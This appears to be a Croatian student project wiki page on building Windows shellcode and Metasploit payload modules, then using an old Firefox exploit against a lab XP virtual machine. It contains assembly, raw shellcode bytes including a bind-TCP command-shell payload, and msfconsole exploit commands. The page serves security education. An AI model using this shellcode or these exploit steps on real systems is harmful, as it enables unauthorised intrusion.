Sljedeći assembler kod može nam poslužiti za kreiranje shellcodea koji kod izvršavanja pokreće notepad. Adrese WinExec i ExitProcess koje su korištene u assembler kodu odnose se Windows XP SP2 en.
[Section .text] BITS 32 global _start _start: jmp short GetCommand CommandReturn: pop ebx ;ebx now points to the string xor eax,eax push eax push ebx mov ebx,0x7c8615b5 ;place address of WinExec into ebx call ebx xor eax,eax push eax mov ebx, 0x7c81ca82 ;place address of ExitProcess into ebx call ebx GetCommand: call CommandReturn db "cmd.exe /c notepad" db 0x00
Datoteka se može spremiti pod imenom 1.asm, i nakon toga u linux terminalu upišemo naredbu
nasm -f bin -o notepad.bin notepad.asm
Da bismo dobili shellcode moramo iskoristiti naredbu
xxd -i notepad.bin
Time se dobiva sljedeći shellcode
0xeb, 0x16, 0x5b, 0x31, 0xc0, 0x50, 0x53, 0xbb, 0xb5, 0x15, 0x86, 0x7c, 0xff, 0xd3, 0x31, 0xc0, 0x50, 0xbb, 0x82, 0xca, 0x81, 0x7c, 0xff, 0xd3, 0xe8, 0xe5, 0xff, 0xff, 0xff, 0x63, 0x6d, 0x64, 0x2e, 0x65, 0x78, 0x65, 0x20, 0x2f, 0x63, 0x20, 0x6e, 0x6f, 0x74, 0x65, 0x70, 0x61, 0x64, 0x00
--Krudjuras 14:05, 19. siječnja 2013. (CET)
Praktični dio - primjer izrade payloada
Kod na kojemu će se temeljiti novi payload je sljedeći
require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' module Metasploit3 include Msf::Payload::Windows include Msf::Payload::Single include Msf::Sessions::CommandShellOptions def initialize(info = {}) super(merge_info(info, 'Name' => 'Windows Command Shell, Bind TCP Inline', 'Version' => '$Revision$', 'Description' => 'Listen for a connection and spawn a command shell', 'Author' => [ 'vlad902', 'sf' ], 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_X86, 'Handler' => Msf::Handler::BindTcp, 'Session' => Msf::Sessions::CommandShell, 'Payload' => { 'Offsets' => { 'LPORT' => [ 201, 'n' ], 'EXITFUNC' => [ 311, 'V' ], }, 'Payload' => "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + "\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07" + "\xFF\xD5\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00" + "\xFF\xD5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF" + "\xD5\x89\xC7\x31\xDB\x53\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56" + "\x57\x68\xC2\xDB\x37\x67\xFF\xD5\x53\x57\x68\xB7\xE9\x38\xFF\xFF" + "\xD5\x53\x53\x57\x68\x74\xEC\x3B\xE1\xFF\xD5\x57\x89\xC7\x68\x75" + "\x6E\x4D\x61\xFF\xD5\x68\x63\x6D\x64\x00\x89\xE3\x57\x57\x57\x31" + "\xF6\x6A\x12\x59\x56\xE2\xFD\x66\xC7\x44\x24\x3C\x01\x01\x8D\x44" + "\x24\x10\xC6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4E\x56\x56\x53" + "\x56\x68\x79\xCC\x3F\x86\xFF\xD5\x89\xE0\x4E\x56\x46\xFF\x30\x68" + "\x08\x87\x1D\x60\xFF\xD5\xBB\xE0\x1D\x2A\x0A\x68\xA6\x95\xBD\x9D" + "\xFF\xD5\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72\x6F" + "\x6A\x00\x53\xFF\xD5" } )) end end
Izradit ćemo payload koji kod izvršenja pokreće novu instancu kalkulator aplikacije na Windowsima XP SP3. Za to je iskorišten shellcode sa sljedeće Web stranice: http://www.shell-storm.org/shellcode/shellcode-windows.php
Konačni sadržaj kreiranog modula je sljedeći
require 'msf/core' require 'msf/core/payload/windows/exec' module Metasploit3 include Msf::Payload::Windows include Msf::Payload::Single def initialize(info = {}) super(update_info(info, 'Name' => 'SIS - projekt - Spawn calc', 'Version' => '$Revision$', 'Description' => 'SIS - projekt - Spawn calc', 'Author' => [ 'Krunoslav Đuras' ], 'License' => BSD_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_X86, 'Privileged' => false, 'Payload' => { 'Offsets' => { }, 'Payload' => "\x31\xC9" + "\x51" + "\x68\x63\x61\x6C\x63" + "\x54" + "\xB8\xC7\x93\xC2\x77" + "\xFF\xD0" } )) # EXITFUNC is not supported :/ deregister_options('EXITFUNC') end end
Kada sada odaberemo ovaj modul kao payload kod exploitacije računala, kod uspješne exploitacije će se kreirati novi proces windows kalkulatora.
--Krudjuras 11:53, 19. siječnja 2013. (CET)
Praktični dio - primjer exploitacije ranjivog računala
U sljedećem primjeru prikazana je exploitacija računala sa instaliranim Windows XP SP3 operacijskim sustavom i Firefox 1.0.4. browsera sa sigurnosnim propustom.
Za payload je korišten prethodno kreiran modul koji kod izvršenja pokreće Windows calc aplikaciju.
Prvo se mora pokrenuti msfconsole upisom naredbe
msfconsole
u linux terminal.
Nakon toga odabire se eksploit koji će se koristiti. Mi smo se odlučili za exploit koji iskorištava ranjivost Firefox btowsera verzije 1.0.4. Da bismo odabrali taj exploit u msfconsole moramo upisati naredbu
use exploit/multi/browser/mozilla_compareto
Općenito se nakon odabira exploita može provjeriti da li on se može iskoristiti. Za to se koristi naredba check. Neki exploitovi ne podržavaju provjeru, pa tako i odabrani exploit ne podržava provjeru ranjivosti.
Nakon toga odabiremo payload pomoću naredbe
set payload windows/spawncalc
Time smo odabrali payload koji smo sami kreirali i stavili u za to namjenjen direktorij MSF-a.
Nakon toga se podešavaju opcije za exploit i payload. Naš payload nema dodatnih parametara, pa možemo pomoću naredbe
show options
vidjeti koje parametre exploita možemo podesiti.
Nakon toga postavljamo port na kojem će bit dostupan exploit
set SRVPORT 7673
Sa naredbom
exploit
se pokreće exploit.
Sada smo dobili link koji mora otvoriti ranjivi Firefox kako bi se izvršio payload, u ovom slučaju ta adresa je
http://192.168.1.249:7673/9ihDnSJ8bri
Ranjivo računalo pokrenuto u VirtualBoxu prikazano je na sljedećoj slici
Otvaranjem dobivenog linka u ranjivom Firefoxu iskorištava se sigurnosni propust te se aktivira payload koji smo kreirali - pokreće se calc.exe
--Krudjuras 13:17, 19. siječnja 2013. (CET)
Literatura
- https://media.defcon.org/dc-19/presentations/Carey/DEFCON-19-Carey-Metasploit-vSploit-Modules.pdf
- http://www.fishnetsecurity.com/6labs/blog/scripting-metasploit-python
- http://en.wikibooks.org/wiki/Metasploit/MeterpreterClient
- http://www.darkoperator.com/blog/2010/5/26/setting-up-rvm-and-irb-for-metasploit-development-in-backtra.html
- https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Development-Environment
- https://www.corelan.be/index.php/2009/08/12/exploit-writing-tutorials-part-4-from-exploit-to-metasploit-the-basics/
- http://dev.metasploit.com/redmine/projects/framework/wiki/DeveloperGuide
- http://www.securityhunk.com/2010/11/metasploit-guide-for-beginners-and.html
- http://www.offensive-security.com/metasploit-unleashed/Metasploit_Architecture
- http://dev.metasploit.com/documents/users_guide.pdf
- http://securityblog.gr/1042/metasploit-interfaces-part-2/
- http://www.linuxforu.com/2010/10/metasploit-exploit-framework-for-penetration-testers/
- http://projectshellcode.com/?q=node/12
- http://www.shell-storm.org/shellcode/shellcode-windows.php